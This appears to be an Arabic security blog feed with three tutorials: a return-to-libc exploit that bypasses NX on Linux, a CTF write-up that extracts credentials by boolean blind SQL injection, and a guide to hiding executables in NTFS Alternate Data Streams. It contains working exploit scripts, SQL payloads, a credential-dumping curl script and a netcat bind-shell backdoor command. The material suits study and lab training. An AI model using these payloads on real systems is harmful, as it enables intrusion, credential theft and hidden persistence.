مع تطور تقنيات الحماية من ثغرات الـ Memory corruption مع مُرور الزمن تم إستحداث بعض التقنيات الخاصة لمحاولة وقف هذه الثغرات داخل أنظمة التشغيل المُختلفة , ومن أشهر هذه الحمايات :

  1. Address Space Layout Randomization – ASLR
  2. Data Execution Prevention – DEP
  3. Stack canaries
  4. No Execute – NX bit

بهذه السلسلة إن شاء الله سوف أقوم بكتابة مجموعة من المقالات تُختص بتخطي هذه الحمايات على أنظمة Windows و Linux , وسوف أبدأ بهذا المقال بالتحدث عن كيفية تخطي الـ NX bit على أنظمة Linux.

ما هي حماية الـ No Execute – NX bit ؟

قبل البدأ بدراسة كيفية تخطي هذه الحماية لا بُد لنا أن نقوم بمعرفة فوائد هذه الحماية وكيفية عملها , بإختصار في حالتنا هذه الحماية يتم إستخدمها مع الـ stack أثناء عمل compile لـ C program من خلال gcc compiler حيث تمنع هذه الحماية تنفيذ أي instructions موجوده داخل الـ stack الخاص بالبرنامج الخاص بنا , حيث أنه بالحالات التقليدية الخاصة بالـ buffer overflow بعد التحكُم بالـ EIP نقوم بوضع الـ shellcode الخاص بنا داخل الـ stack ومن ثم نقوم بعمل jump إلى الـ stack وبدأ تنفيذ الـ shellcode الخاص بنا , وفي الصور التالية سوف أوضح لكم تأثير الـ NX bit وكيف يُمكن أن يكون مُفعل داخل برنامج مُعين.

قبل البدأ سوف أقوم بإستخدام التالي :

  1. Ubuntu 16.04
  2. GDB with pwndbg

وهذا هو الـ source code الخاص بالبرنامج الخاص بنا :

#include <stdlib.h>
#include <stdio.h>


int main(int argc, char *argv[]){


char buffer[50];

strcpy(buffer, argv[1]);

printf("Done !\n");
printf("Your input is %s\n", buffer);

}

حيث أن هذا البرنامج مُصاب بثغرة buffer overflow وتحدث أثناء إستخدام strcpy function بالسطر رقم 10 لنقل الـ user input للـ buffer array , تحدثنا أكثر عن هذا الموضوع داخل iSecur1ty بشكل مُسبق.

دعونا نقوم الأن بإستخدام الأمر التالي لعمل compile للبرنامج :

gcc stack.c -o stack -m32 -w

أنا أقوم بإستخدام ubuntu x64 لذلك قمت بإستخدام الـ m32 flag لكي يعمل الملف بإستخدام الـ 32bit architecture.

بعد عمل compile للبرنامج سوف تكون هذه النتيجه :

دعونا الأن نقوم بتشغيل الملف التنفيذي stack بإستخدام الـ GDB كالتالي :

سوف نقوم بتشغيل البرنامج من خلال تنفيذ الأمر r داخل الـ gdb لتكون النتيجه كالتالي :

هذا الخطأ (SIGSEGV) طبيعي بسبب عدم إدخال قيمة argv للداله strcpy لنقلها لـ buffer ونحن للأن لم نقم بعمل overflow للبرنامج وذلك لأنني أريد توضيح فكرة عمل الـ NX عموماً

دعونا نقوم الأن بإستخراج الـ process id ودراسة بعض الأمور داخل الـ process الحاليه كما التالي :

الـ process id الخاصه بنا هي 3504 وقد علمنا ذلك كما نرى بعد تنفيذ الأمر info inferior , سوف نقوم بدراسة الـ memory map للـ process الخاصه بنا من خلال قرأة الملف التالي :

/proc/3504/maps

ملف الـ maps يقوم بسرد معلومات الـ virtual memory الخاصه بالـ process الخاصه بنا

مع تغير 3504 للـ process id الخاصه بك لنحصل على التالي :

كما نرى الخانه الخاصه بالصلاحيات الممنوحه للـ stack تحتوي فقط على إمكانية القراءة والكتابة “rw” ولكنها لا تحتوي على صلاحية التنفيذ , لذلك لن نستطيع تنفيذ الـ shellcode الخاص بنا داخل الـ stack.

نستطيع تعطيل الـ NX أثناء عمل compile للبرنامج بإستخدام gcc من خلال الأمر التالي :

الخيار execstack سوف يقوم يُعطي الـ stack صلاحية التنفيذ , وبعد تكرار السابق وعرض ملف الـ maps تكون النتيجه كالتالي :

كما نرى الـ stack بالنهاية أصبح يحمل الـ execution permission وأصبح قادر على تنفيذ ما بداخله.

الأن بعد ما فهمنا كيف تعمل هذه الحماية , دعونا أن نقوم ببدأ تخطيها في الحاله الأولى “مع وجود الـ NX”.

كيف نستطيع إستغلال الثغرة وتخطي الـ NX ؟

بِكُل بساطة نستطيع إستغلال هذه الثغره من خلال تقنية تُسمى Return2libc , حيث أن جميع البرامج التي تعمل على أنظمة Linux في نهاية الأمر تقوم بالإعتماد على libc في الحصول على الـ functions التي يُراد التعامل معها , لذلك هذه التقنية بإختصار تسمح لنا بأن نقوم بإستدعاء وإعادة إستخدام بعض الـ functions من الـ libc بعد التحكُم بالـ EIP الخاص بالبرنامج , حيث أننا سوف نقوم بإستخدام الـ system function وتمرير القيمه /bin/bash لها لكي تقوم بتنفيذها والحصول على shell من خلالها , ونقوم بتمرير الـ exit() function تجنباً لأي مشاكل قد تحصل بعد الرجوع للـ function الخاصه بنا

بالطبع يوجد تقنيات أخرى مُشابهه لتخطي الـ NX مثل الـ ROP chaining والتي سوف أتطرق لها في مقال منفصل إن شاء الله

لذلك بإختصار نحتاج للتالي :

crash - 4) + system_function_address + exit_function_address + bin_sh_address)

  • قمنا بعمل crash – 4 لكي نُمرر الـ system_function_address بدلاً من الـ BBBB.

وهذا سوف يقوم بتغير الـ execution flow الخاص بالبرنامج إلى الداله system ومن ثم تمرير الـ bin_sh لها , لذلك دعونا الأن نقوم بتنفيذ التالي :

  1. إستغلال الثغرة داخل البرنامج
  2. تنفيذ تقنية الـ Return2Libc

دعونا نقوم بإعادة عمل compile للبرنامج بإستخدام الأمر :

gcc stack.c -o stack -m32 -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -w

لتكون النتيجه كالتالي :

ممتاز , دعونا الأن نقوم بمحاولة عمل crash للبرنامج من خلال إدخال عدد كبير من الأحرف بعد أن نقوم بتشغيل البرنامج من خلال GDB كالتالي :

ومن ثم تشغيل البرنامج من خلال r لنحصل على التالي :

ممتاز , كما نرى أن الـ EIP الخاص بالبرنامج تم الكتابة عليه بالقيمه 41414141 وهي تُساوي القيمة AAAA أي أننا تمكنا من إحداث crash فيه وبإمكاننا السيطرة على EIP لتغير الـ Execution Flow لتنفيذ الهجوم الخاص بنا , وهذه أيضاً صورة لمحتويات الـ stack الذي يؤشر الـ ESP عليه “0xffbb3300” :

نرى أنه يمتلئ بباقي المُدخلات الخاصه بنا والتي تحتوي على حرف الـ A فقط , الأن بالحاله الطبيعيه هي أن نقوم بوضع الـ shellcode لداخل الـ stack ومن ثم عمل jump إليه , ولكننا لن نستطيع أن نقوم بهذا بسبب الـ NX , لذلك دعونا الأن أن نقوم بالتحكم بشكل كامل بالـ EIP لتنفيذ الهجوم , وسوف نقوم بتشغيل السكربت التالي فالبداية لتوليد pattern لمعرفة عدد الـ bytes التي سوف نستخدمها للتحكم بالـ EIP :

#!/usr/bin/python

from pwnlib.util.cyclic import cyclic

print cyclic(200)

نحتاج إلى تحميل pwntools library لتشغيل هذا الكود ونستطيع تحميلها من خلال pip install pwntools

وتشغيل الكود من خلال gdb بإستخدام :

لنحصل على التالي :

توقف التنفيذ عند القيمة 0x616f6161 وهي “aaoa” كما نرى من خلال الـ EIP , ولمعرفة القيمة نستطيع تنفيذ التالي من خلال python :

ممتاز , إذاً بعد 54 byte نستطيع أن نتحكم بالـ EIP , لذلك سوف نقوم بتنفيذ الكود التالي للتحقق من ذلك :

#!/usr/bin/python


crash = "A" * 54 + "B" * 4

print crash

وتنفيذه لنحصل على :

ممتاز جداً , لقد قمنا بالتحكم بالـ EIP بسهوله.

الأن سوف نبدأ بتنفيذ هجوم Return2libc وسوف نحتاج للتالي :

  1. عنوان خاص بالـ system function
  2. عنوان خاص بالنص “/bin/sh”
  3. عنوان خاص الـ exit function

وهذا يعني بأننا سوف نقوم بتحويل الـ EIP إلى system ومن ثم تمرير الـ /bin/bash كـ argument لها , حيث نستطيع معرفة المزيد من خلال تنفيذ الأمر man system كما يلي :

حيث أن system كما نرى تأخذ argument واحده وهي عباره عن الـ command الخاص بنا , لذلك فور تمريرها سوف نقوم بتمرير عنوان bin/bash كما ذكرت.

ولكن قبل جلب العناوين يجب علينا تعطيل الـ ASLR من النظام لكي نتمكن من عمل exploitation كامل لهذا البرنامج , حيث أن ASLR تمنع تثبيت العناوين التي نُريدها لذلك سوف تُشكل لنا مُشكله.

في المقالات القادمه بالسلسله بإذن الله سوف أتطرق لكيفية تخطي الـ ASLR مع الـ NX وسوف أتحدث عن ASLR بشكل أكبر إن شاء الله

نستطيع تعطيل ASLR من خلال كتابة الأمر :

echo 0 > /proc/sys/kernel/randomize_va_space

سوف نبدأ بإيجاد العناوين الخاصه بنا كالتالي :

نبدأ بعنوان system نستطيع الحصول عليه من خلال :

حيث أن العنوان الخاص بها هو 0xf7e3eda0 , لنقوم بتسجيله جانباً للإستخدام اللاحق , الأن لن نستطيع الحصول على /bin/bash من داخل البرنامج نفسه إلا في حالة أن النص بشكل أو بأخر لا بد أن يكون مربوط بالبرنامج إما من خلال نص داخلي أو من خلال الـ environment variable , سوف نقوم بحل هذه المشكلة بشكل ثابت وبشكل مُستقر كُلياً من خلال تنفيذ المعادلة التالية :

binsh_address = libcbase + binsh_string_offset

حيث أننا نستطيع الحصول على الـ libc base address من خلال الأمر التالي :

حيث كما نرى الـ base address الخاص بها هو 0xf7e04000

يُمكن إيجاد binsh_string_offset  من خلال إضافة الـ offset الخاص بالنص إلى 0xf7e04000 , ونستطيع إيجاد الـ offset من خلال :

حيث أننا نُخبر grep بإيجاد النص /bin/sh وطباعة الـ byte offset من خلال -b ومعاملة الملف كـ text لإيجاد المطلوب وكما نرى الـ offset هو 1423883 , وعليه فإن العنوان النهائي هو offset + libcbase

وأخيراً سوف نقوم بإيجاد الـ exit function من خلال :

وكما نرى الـ address الخاص بها هو 0xf7e329d0 , أصبحنا نحتوي جميع مُتطلبات الهجوم والكود النهائي هو كالتالي :

#!/usr/bin/python

import struct

crash = "A" * 54

libc_base = 0xf7e04000

system = struct.pack("I", 0xf7e3eda0)

binsh_string_offset = struct.pack("I", libc_base + 1423883)

exit = struct.pack("I", 0xf7e329d0)

data = crash + system + exit + binsh_string_offset

print data

دعونا نقوم بتشغيل الـ code وعمل debug له للتأكد من جميع القيم كالتالي :

الأمر المُستخدم بالطبع هو :

gdb --args stack $(python exploit.py)

مع وضع الكود النهائي داخل exploit.py

سوف أقوم بوضع break point عند الـ return address الخاص بالـ main function , بعد أن قُمت بعمل disassemble لها , ومن ثم تشغيل البرنامج من خلال r :

نرى أن الـ ret الأن سوف توصلنا للـ system , نقوم بإستكمال التشغيل وعمل step into أو “الذهاب لل instruction التاليه” من خلال الأمر ni كما التالي لنحصل على :

كما نرى في المربع الأحمر الأول نرى أنه بالفعل تم تمرير الـ /bin/sh إلى الـ system function وفي المُربع الثاني يُمكن أن نرى الـ exit function والـ address الخاص بالـ /bin/sh داخل الـ stack.

إذاً كل شيء يعمل بشكل جيد من المفترض , دعونا أن نقوم بإغلاق الـ gdb وتشغيل الـ exploit كما التالي :

كما نرى بالفعل لقد قُمنا بتشغيل الـ payload الخاص بنا كما يجب وقمنا بفتح shell جديد على النظام.

بهذا أكون قد إنتهيت من المقال بشكل كامل , ويُعتبر هذا المقال الجزء الأول إن شاء الله من سلسلة الـ binary exploitation , حيث أيضاً سوف أحاول أن أقوم بشرح بعض التقنيات على real world softwares إن شاء الله في حال تسنّت لي الفُرصه.

في حال كان لديكم أي إستفسارات المرجو إخباري بها في التعليقات.

مقال : شرح ثغرات Boolean Based SQL injection –تحدي SeeNoevil من CodeRed CTF

$
0
0

لقد قمت بشرح ثغرة Blind SQL Injection – Boolean Based في احد مؤتمرات أمن المعلومات في عمّان وكانت مستوحاه من احد machines على hackthebox وطلب مني منظمو مسابقة CodeRed CTF  وضع احد تحديات ال CTF  على Blind SQLi وتكون مبسطة قدر الامكان. لذلك وضعت تحدي تم تسميته “See No Evil”  بامكانكم تحميله من الرابط في نهاية المقال.

سأقوم بكتابة سلسلة مقالات ميسرة في موضوع SQL Injection الهجوم الخاص بتطبيقات الويب. و سأفتتح هذه السلسة بمقال حول Blind SQL Injection

لترسيخ المفهوم سأعرض كيفية اختراق واستغلال ثغرة Blind SQLi  بشكل يدوي manual وايضا سوف اتطرق بعدها لكيفية اختراقها باستخدام اداة SQLMAP. أنصح القراء الأعزاء بالتقليل قدر المستطاع من استخدام الأدوات الجاهزة والمحاولة قدر الامكان الطرق اليدوية وذلك لترسيخ المفاهيم الأساسية خصوصا في مرحلة التعلم. أيضا هنالك بعض الحالات التي لا تسعفك بها الادوات الجاهزة وعليك باستخدام طرق يدوية بحتة وفهم عميق للثغرة والهجوم المصاحب.

نبدأ بعملية الاستطلاع على التحدي

نلاحظ وجود ports 80,3306,2233  في حالة open

نحاول الان الاستطلاع لتحديد نسخة كل من المداخل المتاحة على هذا التحدي

 

نلاحظ وجود HTTP port 80 and SSH port 2233 و 3306 MYSQL

دائما نبدأ ببروتوكولHTTP ونلاحظ وجود صفحة دخول login

اذا حاولنا ادخال اسم وكلمة سر admin/admin نلحظ رسالة ال الخطأ. لكننا نستنتج من هذه الرسالة أن هنالك اسم مستخدم اسمه

admin. واذا حاولنا اسم مستخدم اخر test نلحظ وجود رسالة خطا مختلفة

سنحاول ادخال او حقن جملة SQL  بجمل صح وخطأ true/false ونلاحظ استجابة تطبيق الويب لها. وهنا جاء مصطلح Blind  حيث أن محتويات قاعدة البيانات لا تظهر يشكل مباشر كما في (union select) على صفحة الويب. لكن يجب ملاحظة التأثير في اختلاف الاستجابة للصفحة او ما يسمى behavior or response   في حالة ارسلنا جملة True  او جملة False

مثال على حقن بجملة true: ‘ or 1=1;#

مثال على حقن بجملة false: ‘ or 1=2;#

فتصبح الجملة كأنها

Select username from users where username=’’ or 1=1;#’. لقد قمنا بارسال اوامر صح-خطأ لذلك سميت Boolean based

حيث أن علامة #  تستخدم في لغة ال SQL  كتعليق comment

 

في الجمل الصحيحة في username نلاحظ وجود رسالة: please enter your correct password

في الجمل الخطأ في username نلاحظ وجود رسالة: Wrong username and password

لذلك يمكن استنتاج ان صفحة الويب متأثرة بثغرة Blind SQLi  بسبب اختلاف استجابة الصفحة في حالات جمل True/False

يمكننا الان تمرير سلسلة طويلة من الاسئلة لتطبيق الويب لنحديد رقم ASCII code لكل حرف في الهدف المراد استخراجه. على سبيل المثال لتحديد اسم DB-name or Table-name معرّف في داخل Database او حتى استخراج المحتوى الكامل في tables

 

في المثال التصويري التالي عرض للفكرة من طرح الاسئلة التي اجابتها نعم او لا True or False  وكيف ممكن استغلالها لاستخراج المعلومات. حيث يقوم الحارس بحماية البرج لكنه يقوم بالرد على الاسئلة ب نعم او لا  – True or False

 

ويجب ان اشير هنا الى  ان اهم اوامر ال SQL  التي يمكن الاستفادة منها في عملية الهجوم المراد في حالة Blind SQLi ويمكنكم الرجوع للتوثيق الخاص بهذه functions في موقع Mysql

  • Important SQL functions:
    • Ascii(char) لتحديد رقم ال ASCII
    • Substring (String, location, num) اختيار حرف معين داخل string
    • Length(‘string’) تحديد طول ال string
    • Concat (string1, string2,…..) دمج اكثر من string

 

وفي الجدول ادناه نجد الكود الخاص لكل حرف. والتي ستسخدم عند طرح الاسئلة على الويب App

 

 

 

لنبدأ اولى خطوات استخراج المعلومات من DB :

  • تحديد طول اسم database name

or  length(database())=3 — – False

or  length(database())=4 — – False

or  length(database())=5 — – TURE

وكما أسلفنا بامكاننا تحديد اذا ما كانت جملة ال SQL  صح ام خطأ من خلال ال error message كما هو موضّح في الصورة ادناه. حيث في حالة True تكون رسالة الخطأ error message: Please enter your correct password  وهكذا نستنتج أن طول اسم DB هو 5

 

 

وبناءا على الطريقة السابقة بامكاننا الان البدء باستكشاف اسم قاعدة البيانات والتي كما عرفنا ان طول الاسم هو 5 احرف !

ونبدأ بفحص الحرف الاول ومقارنته بكود ASCII في الجدول السابق يطريقة bruteforce. ثم نكرر العملية للحرف الثاني ثم الثالث ثم الرابع ثم الخامس. وبهذا بامكاننا تحديد اسم قاعدة البيانات.

الحرف الاول

or ascii(substring(database(),1,1))=97 — – #determine 1st char of DB name – Fase

or ascii(substring(database(),1,1))=98 — – #determine 1st char of DB name – True

           

 

وكما نلاحظ أن او حرف في اسم قاعدة البيانات هو: b

نكرر نفس العملية للحرف الثاني الى الخامس وذلك بتغيير موقع الحرف 2 في substring

 

or ascii(substring(database(),2,1))=97 — – #determine 2nd char of DB name – Fase

or ascii(substring(database(),2,1))=98 — – #determine 2nd char of DB name – Fase

or ascii(substring(database(),2,1))=99 — – #determine 2nd char of DB name – Fase

or ascii(substring(database(),2,1))=100 — – #determine 2nd char of DB name – Fase

or ascii(substring(database(),2,1))=101 — – #determine 2nd char of DB name – Fase

.

.

.

or ascii(substring(database(),2,1))=108 — – #determine 1st char of DB name – True

اذا الحرف الثاني هو l

وبتكرار العملية نستنتج أن اسم قاعدة البيانات هو: blind

 

بنفس هذه المنهجية ايضا بامكاننا تحديد اسم table   باستخدام bruteforce  وممكن ايضا ان نحاول ان نتوقع (guess)  الاسم لتقليل الوقت المستغرق في العملية. على سبيل المثال غالبا ما يكون في كل قاعدة بيانات table  اسمه user or users ولتجربة ذلك بامكاننا ارسال payloads  لفحص ذلك كما يلي:

or (select 1 from testttt limit 1)=1 — – False

or (select 1 from user limit 1)=1 — – False

or (select 1 from users limit 1)=1 — – True

 

وهنا نستنتج أن اسم table  هو users

 

اذا اردنا ان نعرف عدد الاسطر في users table

or (select count(*) from users) > 10 — – False

or (select count(*) from users) > 1 — – true

or (select count(*) from users) > 2 — – true

or (select count(*) from users) > 3 — – False

اذا نستنتج ان عدد الاسطر هو 3. اذا يوجد في الجدول 3 اسماء مستخدم و 3 كلمات سر على ما يبدو

وبنفس الطريقة بامكاننا معرفة عدد columns في جدول users

‘ or   (SELECT count(*) FROM information_schema.columns WHERE table_name = “users”)=3 — –

بالمثل ايضا بامكاننا ان نتوقع اسم columns

 

‘ or substring(concat( 1, (select username from users limit 1)),1,1)=1 — –

‘ or substring(concat( 1, (select password from users limit 1)),1,1)=1 — –

نلاحظ ان عملية استخراج المعلومات في طريقة Blind  طويلة جدا خصوصا في حالة كان حجم قاعدة البيانات كبير. اذا اردنا ايضا استخراج البيانات من الجداول سيتطلب ذلك وقتا كثيرا. لذلك يمكن اتمتة العملية باستخدام customized script  على سبيل المثال لاستخراج محتوى users table

#!/bin/bash

# Filename: Blinder.sh 
# Version: v1.0
# Description: Customized Script to carry out blind SQL injection attack based on manually enumerated info
# By: RamiDarkFlow 

for row in 0 1 2
do


myuser=""


for x in {1..32} # username char location in the payload

do

for i in {1..127} #check ASCII code number

do 

payload="username=' OR ascii(substring((SELECT username from users limit $row,1),$x,1))>$i -- -&password=test&submit=Login"

curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" -d  ''"$payload"'  -X POST -H "Content-Type: application/x-www-form-urlencoded' http://192.168.8.102/index.php 2> /dev/null -o file.out

cond=`grep please file.out`

status=$?


if [ $status != 0 ]

then 
char=`printf "\x$(printf %x $i)"`

if [ $i == 1 ]
then
break;
fi

myuser="$myuser$char"
#echo -n "Digit$x: ASCII= $i and char is ";printf "\x$(printf %x $i)";

printf "." 

break;
fi
done
done
mypass=""

for x in {1..32} # pssword char location in the payload

do

for i in {1..127} #check ASCII code number

do 

payload="username=' OR ascii(substring((SELECT password from users limit $row,1),$x,1))>$i -- -&password=test&submit=Login"

curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" -d  ''"$payload"'  -X POST -H "Content-Type: application/x-www-form-urlencoded' http://192.168.8.102/index.php 2> /dev/null -o file.out

cond=`grep please file.out`

status=$?


if [ $status != 0 ]

then 
char=`printf "\x$(printf %x $i)"`

if [ $i == 1 ]
then
break;
fi

mypass="$mypass$char"
#echo -n "Digit$x: ASCII= $i and char is ";printf "\x$(printf %x $i)";

printf "." 

break;
fi
done
done
printf "\n" 
echo "The username is: $myuser"
echo "The Password is: $mypass"
done

 

وعند التنفيذ نسطيع استخراج محتوى table

 

 

  • يمكن ايضا استخدام اداة sqlmap لاستخراج معلومات قاعدة البيانات لكنني فضلت توضيح العملية بشكل يدوي. اذا اردنا استخدام sqlmap  يجب الاحاطة بخيار string كما يلي:

sqlmap -u http://192.168.8.102/index.php --data="username=admin&password=test&submit=Login" -p username --dbms mysql --dump --
string="please" --batch

حسنا, لدينا الان مجموعة حسابات ممكن تجربتها عبر SSH  للدخول للجهاز. وعند التجربة نجد أن الاسم rcode  يمكن له الدخول وأخذ shell access

ssh –p2233 rcode@192.168.8.102

 

بمكاننا الان الحصول على root  عن طريق sudo  كما هو مبين ادناه

 

 

بامكانكم تحميل SeeNoEvil من الرابط التالي نسخة virtualbox

https://drive.google.com/file/d/1TVSY6cebL937wNJnOWnu9b3hPWI0YI6i/view

 

 

 

 

مقال: كيف يقوم الهاكرز بأخفاء الملفات وتخطي الحمايات بأستخدام Alternate Data Stream وشرح نظام الـNTFS

$
0
0

عدت لكم بعد غيبه طويله بـمقال جديد سنتكلم فيه بشكل أساسي عن تكنيك قد يكون قديما لكن كثير من الناس لا تعلمه ويستخدمه الهاكرز وصانعوا البرمجيات الخبيثه لأخفاء الباكدورز والـrootkits الخاصه بهم وهو الـADS أو الـAlternate Data Stream لكن قبل أن نبدأ يجب أن تفهم كيف يعمل نظام الـNTFS.

ما هو نظام الـNTFS ؟

نظام الـNTFS هو نظام للملفات يقوم الويندوز لتخزين الملفات أو للتعامل معها بشكل عام, أذا حاولت في مره أن تقوم بعمل Format لـDrive علي جهازك من خلال نظام الويندوز فا بالتأكيد هذا الكلام حتى الأن ليس بالجديد عليك.

والأن كيف يعمل هذا النظام ؟

داخل هيكل الـNTFS يخزن كل ملف علي هذه الهيئه

<filename>:<stream-name>:<type>

أي أسم الملف ومن ثم أسم الـStream الخاص به (سنتكلم عنه بالتفصيل بعد قليل) وأخيرا نوع الملف.
علي سبيل المثال أذا قمت بعمل ملف نصي وفرضا سميناه thing.txt فشوف يخزن بهذا الشكل :

thing.txt::$DATA

لاحظ أن مكان الستريم فارغ حيث أنه يكون فارغ دوما بشكل أفتراضي والنوع $DATA هو النوع الأفتراضي لجميع الملفات أيضا.
الخدعه هنا أنه يمكن تخزين بيانات داخل الستريم علي هيئه ملف وطالما الستريم دوما فارغ فمن المفترض أنه لن يؤثر علي عمل الملف أليس كذلك ؟ نعم صحيح وعندما تقوم بعمل هذا معناه أنك تكتب في الـAlternate data stream وهذا هو موضوعنا اليوم 😀

لنوضح العمليه قليلا

الستريم ينقسم الي نوعين: النوع الرئيسي وهو الأفتراضي والنوع البديل أو الذي يسمى alternate data stream فعند تعاملك مع أي ملف كل ما تقرأه أو تكتبه يكون داخل الستريم الرئيسي فا كل البرامج تتعامل معاه هو بشكل أفتراضي فعند تعاملك مع ملف أسمه thing.txt مثلا فهذا يساوي بالظبط كتابتك لـthing.txt::$DATA

لاحظ الأن أنه أذا أردت أن تكتب بداخل ستريم بديل لهذا الملف (ولنسميه مثلا secure) فأنت تستطيع أن تكتب بداخل هذا الستريم مباشرا حتى أن لم يكن هناك ستريم بديل بهذا الأسم موجود فبدل أن تكتب أسم الملف العادي فأنت تكتب  thing.txt:secure:$DATA بداخل الأمر الذي تقوم بتنفيذه ولاحظ أيضا أنه أذا كتبت الأسم thing.txt:secure فسيعطيك نفس النتيجه.

مثال: أذا كنت تريد أن تقرأ ما بداخل الملف فا ستستخدم الأمر more أو type وهذا هو العادي

more < thing.txt

لكن أذا أردت أن تقرأ ما بداخل الستريم ستكتب

more < thing.txt:secure

وبنفس الطريقه تستطيع أن تكتب بداخله ومن ثم تقرأ, مثال:

echo test > thing.txt:secure
more < thing.txt:secure

الأن بعد أن أتضحت الفكره كيف نستغلها ؟

أول شئ هل لاحظت في الصوره بالأعلي أن حجم الملف صفر ؟ 😀 ما يعني أن حجم الملف لم يتغير بعد الكتابه في ستريم بديل.
وذلك بسبب أنني كما قلت من قبل التعامل بشكل أفتراضي يكون مع الستريم الرئيسي وهنا لم يحصل أي تغيير في الستريم الرئيسي والطريقه الوحيده لأظهار الستريم هو بأستخدام سويتش /r مع الأمر dir

كما ترى ظهر الملف مرتين مره بشكله وحجمه الأساسي والذي هو صفر ومره بالستريم البديل تحته مع حجمه وأسمه “secure” وبالطبع الستريم البديل لا وجود له داخل الفولدر.

لاحظ أنه تستطيع أن تكتب في ستريم بديل للفولدرات أيضا وهو أفضل لأنه هنا لا يوجد شئ داخل الفولدر أو المجلد يشك به أحد.

كما تري لا يوجد أثر علي الفولدر فقط الستريم البديل الذي سميته secured وكتبت بداخله كلمه hidden.

الأن ننتقل الي الأكشن: كيف نستغل هذا لصالحنا ؟

اولا لنرى ما لدينا حتى الأن:

  1. نستطيع أن نخفي أي بيانات داخل أي ملف أو مجلد داخل الستريم البديل أو بصيغه أعم قليلا “نستطيع أن نحقن داتا داخل أي ملف”
  2. أي داتا يتم حقنها لا تأثر علي التي داخل الملف نفسه وتغير أي منهما لا يؤثر علي الأخر بشئ.
  3. بالطبع حجم الملف لا يتأثر بعد الحقن ولا يوجد شئ يجعل المستخدم يشك بأن أي شئ تغيير أو تم العبث به ما لم يدقق عن طريق الـcmd أو عن طريق برامج خارجيه.

الأن هل تعلم أنك تستطيع أن تجعل الستريم البديل الذي تكتب بداخله هذا عباره عن ملف تكتب بداخله ؟ لنرى النتيجه

وقمت بفتح الستريم البديل من النوتباد أيضا 😀

الأن لنحاول نسخ ملف عادي داخل ستريم بديل لملف أخر علي هيئه ملف

لنقوم بقرائه ملف من داخل الـcmd هناك عده أوامر لعمل هذا لكنني سأستخدم أمر type هذه المره.

الأن ما سنقوم بفعله هو قرائه الملف بأستخدام الأمر type فا الناتج سيظهر في الـoutput للأمر بداخل الـcmd لذلك سأكتب الأوتبوت بداخل الستريم البديل لملف أخر علي هيئه ملف كالتالي :

في السطر الأول قمت بنسخ محتويات ملف الـcmd بداخل ستريم بديل بأسم ملف cmd.exe داخل ملف thing.txt

قبل شرح ما قمت به في السطر الثاني أريدك أن تعلم أن تنفيذ أو تشغيل الملفات التي بداخل ستريم بديل ما لا يتم في العاده بنفس طرق تنفيذ الملفات العاديه وأنما يتم في الغالب عن طريق طرق خاصه وسنتكلم عنها بالتفصيل قليلا بعد قليل.

الأن سريعا ما هو  الأمر WMIC ؟

هو أختصار لـWindows Management Interface Command وكما يقول الأسم هو واجهه أمريه لـWindows Management Interface خاصه بموجه الأوامر ولذلك أنت تستطيع من خلاله جلب المعلومات التي تريدها عن تقريبا أي شئ في الجهاز أو تتعامل مع الـInterfaces المتعدده الخاصه بالويندوز لتنفيذ ما تريد وللقرائه أكثر عن هذا الأمر أقرأ هذا المقال.

فا في السطر الثاني قمت بأستخدام الأمر wmic لعمل بروسيس جديد عباره عن الستريم البديل للملف مما نتج عنه أنني قمت بتشغيل الcmd من داخل الستريم البديل لهذا الملف وبنفس الشكل يمكن أن يطبق نفس الأمر علي أي ملف أخر بالطبع مما يجعلك الأن تستطيع أن تخبئ عدد الملفات الذي تريده داخل الملف الذي تريد دون أن يتأثر حجم الملف ودون أن يشعر صاحب الجهاز وتستطيع تشغيله بتنفيذ أمر علي الجهاز في أي وقت فا أذا كنت مخترق جهازا فهذه الطريقه من الطرق المثاليه التي تمكنك من عمل persist طويل المدى علي جهاز المستخدم فمثلا تقنعه بتشغيل أمر ما أنت تريده ليفعل شيئا ما أنت أقنعته أنه يفعله فا يقوم بتشغيل الباكدور الذي أنت مخبأه في جهازه منذ أسابيع فمثلا:

> type nc.exe > C:\windows\system32\calc.exe:emergency.exe
> start /B C:\windows\system32\calc.exe:emergency.exe -d -L -p 1337 -e cmd.exe

وقد قام الباحث الأمني Matt Nelson المعروف بـenigma بعمل سكربت باورشيل لتثبيت الأتصال بالجهاز المخترق أو persistence عن عمل عده ستريمات بديله في الجهاز لأخفاء الملفات ومن ثم عمل مفتاح في الستارت أب في الريجيستري ليقوم بتشغيله عند تشغيل الجهاز وهذا رابط المقاله الكامله لفهم الطريقه أكثر والسكربت.

الأن لنتكلم قليلا عن تنفيذ الملفات من داخل الستريم البديل

كما قلنا من قبل تنفيذ الملفات التنفيذيه من داخل الستريم البديل غالبا لا يتم بالطريقه العاديه فعلى سبيل المثال الطريقه الأخيره السابق ذكرها التي تستخدم الأمر start لا تعمل علي جميع الأنظمه لكن طريقه الأمر wmic التي سبقته تعمل علي جميع الأنظمه وهكذا فهذا يعتمد ايضا علي الذي تقوم بتشغيله فبعض الناس يقومون بتخبأه ملفات DLL فلذلك يستخدمون RUNDLL32 لتشغيلها وفكره أخرى أن تخزن سكربتات باورشيل أو vbs أو يخزنون ملفات hta (والتي سنتكلم عنها في مقال أخر أذا سنحت الفرصه) ويقومون بتشغيلها بأستخدام mshta.

لذلك قام الباحث الأمني المعروف Oddvar Moe بعمل ليسته تتجدد بأستمرار بها جميع الأوامر التي يكتشف أنه يمكن من خلالها الكتابه بداخل ستريم بديل أو التي تدعمه والأوامر والخدع الأخرى التي تستخدم في تنفيذها ويمكنك رؤيتها من هذا الرابط.

وهذا مقال من MalwareBytes للحمايه من الـADS وكيفيه أكتشافه

وهذا فيديو يشرح بالتفصيل كيف يعمل الـNTFS

الي هنا تنتهي مقالتنا اليوم أرجوا أن تكونوا قد أستفدتم منها ونراكم في المقاله القادمه.

Viewing all 466 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>